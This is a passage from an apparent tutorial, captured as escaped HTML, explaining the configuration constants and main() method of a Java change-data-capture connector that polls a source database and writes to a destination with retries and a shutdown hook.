                &lt;span class="no"&gt;CONFIG&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getProperty&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"cdc.batch.size"&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"1"&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
        &lt;span class="o"&gt;);&lt;/span&gt;

&lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="kd"&gt;final&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="no"&gt;CDC_FETCH_SIZE&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;
        &lt;span class="nc"&gt;Integer&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;parseInt&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;
                &lt;span class="no"&gt;CONFIG&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getProperty&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"cdc.fetch.size"&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"100"&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
        &lt;span class="o"&gt;);&lt;/span&gt;

&lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="kd"&gt;final&lt;/span&gt; &lt;span class="kt"&gt;long&lt;/span&gt; &lt;span class="no"&gt;POLLING_INTERVAL_MS&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;
        &lt;span class="nc"&gt;Long&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;parseLong&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;
                &lt;span class="no"&gt;CONFIG&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getProperty&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"cdc.polling.interval.ms"&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"2000"&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
        &lt;span class="o"&gt;);&lt;/span&gt;

&lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="kd"&gt;final&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="no"&gt;MAX_RETRIES&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;
        &lt;span class="nc"&gt;Integer&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;parseInt&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;
                &lt;span class="no"&gt;CONFIG&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getProperty&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"cdc.max.retries"&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"3"&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
        &lt;span class="o"&gt;);&lt;/span&gt;

&lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="kd"&gt;final&lt;/span&gt; &lt;span class="kt"&gt;long&lt;/span&gt; &lt;span class="no"&gt;INITIAL_RETRY_DELAY_MS&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;
        &lt;span class="nc"&gt;Long&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;parseLong&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;
                &lt;span class="no"&gt;CONFIG&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getProperty&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"cdc.retry.delay.ms"&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"1000"&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
        &lt;span class="o"&gt;);&lt;/span&gt;

&lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="kd"&gt;final&lt;/span&gt; &lt;span class="kt"&gt;long&lt;/span&gt; &lt;span class="no"&gt;RECONNECT_DELAY_MS&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;
        &lt;span class="nc"&gt;Long&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;parseLong&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;
                &lt;span class="no"&gt;CONFIG&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getProperty&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"cdc.reconnect.delay.ms"&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"5000"&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
        &lt;span class="o"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Notice that some properties have default values. These defaults are used when the corresponding property is missing from &lt;code&gt;application.properties&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;For example, if &lt;code&gt;cdc.batch.size&lt;/code&gt; is not configured, the connector uses a default batch size of &lt;code&gt;1&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The connector also defines its name and a Jackson &lt;code&gt;ObjectMapper&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="kd"&gt;final&lt;/span&gt; &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="no"&gt;CONNECTOR_NAME&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;
        &lt;span class="s"&gt;"employee-cdc-connector"&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="kd"&gt;final&lt;/span&gt; &lt;span class="nc"&gt;ObjectMapper&lt;/span&gt; &lt;span class="no"&gt;OBJECT_MAPPER&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;
        &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nf"&gt;ObjectMapper&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;

&lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="kd"&gt;volatile&lt;/span&gt; &lt;span class="kt"&gt;boolean&lt;/span&gt; &lt;span class="n"&gt;running&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;CONNECTOR_NAME&lt;/code&gt; identifies this CDC connector when reading and updating its checkpoint.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;OBJECT_MAPPER&lt;/code&gt; is used to convert JSON event data into Java JSON objects.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;running&lt;/code&gt; controls the connector's execution lifecycle. It is declared &lt;code&gt;volatile&lt;/code&gt; so changes made by another thread, such as the shutdown hook, are visible to the polling thread.&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  Summary
&lt;/h4&gt;

&lt;p&gt;In this subsection, we examined the basic structure and configuration of the Java CDC connector.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Identified the Java libraries used for database connectivity and JSON processing.&lt;/li&gt;
&lt;li&gt;Loaded database connection details and CDC parameters from &lt;code&gt;application.properties&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Read the database password from the &lt;code&gt;DB_PASSWORD&lt;/code&gt; environment variable.&lt;/li&gt;
&lt;li&gt;Defined processing parameters such as batch size, fetch size, polling interval, and retry delays.&lt;/li&gt;
&lt;li&gt;Initialized the connector name, Jackson &lt;code&gt;ObjectMapper&lt;/code&gt;, and execution flag.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;With the configuration in place, we are ready to examine how the connector starts, validates its settings, establishes database connections, and begins processing CDC events.&lt;/p&gt;

&lt;h3&gt;
  
  
  5.2 Starting the CDC Connector
&lt;/h3&gt;

&lt;p&gt;Now that we understand the connector configuration, let's examine how the Java application starts and manages its execution.&lt;/p&gt;

&lt;p&gt;The &lt;code&gt;main()&lt;/code&gt; method is the entry point of the CDC connector. It performs the initial configuration checks, registers a shutdown hook, establishes database connections, and starts the continuous CDC polling process.&lt;/p&gt;

&lt;h4&gt;
  
  
  Understanding the main() Method
&lt;/h4&gt;

&lt;p&gt;The following is the relevant implementation from &lt;code&gt;CDCConnector.java&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;String&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="no"&gt;DB_PASSWORD&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;throw&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nf"&gt;IllegalStateException&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;
                &lt;span class="s"&gt;"Please set the DB_PASSWORD environment variable."&lt;/span&gt;
        &lt;span class="o"&gt;);&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="no"&gt;BATCH_SIZE&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="no"&gt;CDC_FETCH_SIZE&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
            &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="no"&gt;POLLING_INTERVAL_MS&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
            &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="no"&gt;MAX_RETRIES&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="no"&gt;INITIAL_RETRY_DELAY_MS&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
            &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="no"&gt;RECONNECT_DELAY_MS&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;throw&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nf"&gt;IllegalArgumentException&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;
                &lt;span class="s"&gt;"CDC configuration values must be positive."&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;

    &lt;span class="nc"&gt;Runtime&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getRuntime&lt;/span&gt;&lt;span class="o"&gt;().&lt;/span&gt;&lt;span class="na"&gt;addShutdownHook&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Thread&lt;/span&gt;&lt;span class="o"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;running&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
        &lt;span class="nc"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"\nShutdown requested..."&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
    &lt;span class="o"&gt;}));&lt;/span&gt;

    &lt;span class="nc"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Starting CDC Connector..."&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
    &lt;span class="nc"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"CDC batch size: "&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="no"&gt;BATCH_SIZE&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

    &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;running&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

        &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;
                &lt;span class="nc"&gt;Connection&lt;/span&gt; &lt;span class="n"&gt;sourceConnection&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;
                        &lt;span class="nc"&gt;DriverManager&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getConnection&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;
                                &lt;span class="no"&gt;SOURCE_URL&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="no"&gt;DB_USER&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="no"&gt;DB_PASSWORD&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

                &lt;span class="nc"&gt;Connection&lt;/span&gt; &lt;span class="n"&gt;destinationConnection&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;
                        &lt;span class="nc"&gt;DriverManager&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getConnection&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;
                                &lt;span class="no"&gt;DESTINATION_URL&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="no"&gt;DB_USER&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="no"&gt;DB_PASSWORD&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
        &lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

            &lt;span class="nc"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;
                    &lt;span class="s"&gt;"Connected to source database: "&lt;/span&gt;
                            &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;sourceConnection&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getCatalog&lt;/span&gt;&lt;span class="o"&gt;()&lt;/span&gt;
            &lt;span class="o"&gt;);&lt;/span&gt;

            &lt;span class="nc"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;
                    &lt;span class="s"&gt;"Connected to destination database: "&lt;/span&gt;
                            &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;destinationConnection&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getCatalog&lt;/span&gt;&lt;span class="o"&gt;()&lt;/span&gt;
            &lt;span class="o"&gt;);&lt;/span&gt;

            &lt;span class="c1"&gt;// This method reads the latest checkpoint on every&lt;/span&gt;
            &lt;span class="c1"&gt;// new connection session.&lt;/span&gt;
            &lt;span class="n"&gt;runContinuousPolling&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;
                    &lt;span class="n"&gt;sourceConnection&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;
                    &lt;span class="n"&gt;destinationConnection&lt;/span&gt;
            &lt;span class="o"&gt;);&lt;/span&gt;

        &lt;span class="o"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;SQLException&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(!&lt;/span&gt;&lt;span class="n"&gt;running&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
                &lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
            &lt;span class="o"&gt;}&lt;/span&gt;

            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(!&lt;/span&gt;&lt;span class="n"&gt;isConnectionFailure&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="o"&gt;))&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
                &lt;span class="nc"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;err&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;
                        &lt;span class="s"&gt;"Non-connection database error. Stopping connector:"&lt;/span&gt;
                &lt;span class="o"&gt;);&lt;/span&gt;
                &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;printStackTrace&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
                &lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
            &lt;span class="o"&gt;}&lt;/span&gt;

            &lt;span class="nc"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;err&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;
                    &lt;span class="s"&gt;"Database connection lost. Reconnecting in "&lt;/span&gt;
                            &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="no"&gt;RECONNECT_DELAY_MS&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s"&gt;" ms..."&lt;/span&gt;
            &lt;span class="o"&gt;);&lt;/span&gt;

            &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
                &lt;span class="nc"&gt;Thread&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;sleep&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="no"&gt;RECONNECT_DELAY_MS&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

            &lt;span class="o"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;InterruptedException&lt;/span&gt; &lt;span class="n"&gt;interrupted&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
                &lt;span class="nc"&gt;Thread&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;currentThread&lt;/span&gt;&lt;span class="o"&gt;().&lt;/span&gt;&lt;span class="na"&gt;interrupt&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
                &lt;span class="n"&gt;running&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
            &lt;span class="o"&gt;}&lt;/span&gt;

        &lt;span class="o"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;Exception&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

            &lt;span class="nc"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;err&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"CDC Connector failed:"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
            &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;printStackTrace&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
            &lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;

    &lt;span class="nc"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"CDC Connector stopped."&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Let's examine the important parts of this method.&lt;/p&gt;

&lt;h4&gt;
  
  
  1. Validating the Database Password
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="no"&gt;DB_PASSWORD&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;throw&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nf"&gt;IllegalStateException&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;
            &lt;span class="s"&gt;"Please set the DB_PASSWORD environment variable."&lt;/span&gt;
    &lt;span class="o"&gt;);&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Before attempting to connect to either database, the connector checks whether the &lt;code&gt;DB_PASSWORD&lt;/code&gt; environment variable is available.&lt;/p&gt;

&lt;p&gt;If the password is missing, the application throws an &lt;code&gt;IllegalStateException&lt;/code&gt; and stops execution.&lt;/p&gt;

&lt;p&gt;This prevents the connector from attempting database connections without the required credentials.&lt;/p&gt;

&lt;h4&gt;
  
  
  2. Validating Configuration Parameters
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="no"&gt;BATCH_SIZE&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="no"&gt;CDC_FETCH_SIZE&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
        &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="no"&gt;POLLING_INTERVAL_MS&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
        &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="no"&gt;MAX_RETRIES&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="no"&gt;INITIAL_RETRY_DELAY_MS&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
        &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="no"&gt;RECONNECT_DELAY_MS&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;throw&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nf"&gt;IllegalArgumentException&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;
            &lt;span class="s"&gt;"CDC configuration values must be positive."&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The connector validates the numerical configuration parameters before starting.&lt;/p&gt;

&lt;p&gt;All these values must be positive:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Batch size&lt;/li&gt;
&lt;li&gt;Fetch size&lt;/li&gt;
&lt;li&gt;Polling interval&lt;/li&gt;
&lt;li&gt;Maximum retries&lt;/li&gt;
&lt;li&gt;Initial retry delay&lt;/li&gt;
&lt;li&gt;Reconnection delay&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If any value is zero or negative, the connector throws an &lt;code&gt;IllegalArgumentException&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;This prevents invalid configuration values from causing unexpected behavior during CDC processing.&lt;/p&gt;

&lt;h4&gt;
  
  
  3. Registering a Shutdown Hook
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="nc"&gt;Runtime&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getRuntime&lt;/span&gt;&lt;span class="o"&gt;().&lt;/span&gt;&lt;span class="na"&gt;addShutdownHook&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Thread&lt;/span&gt;&lt;span class="o"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;running&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
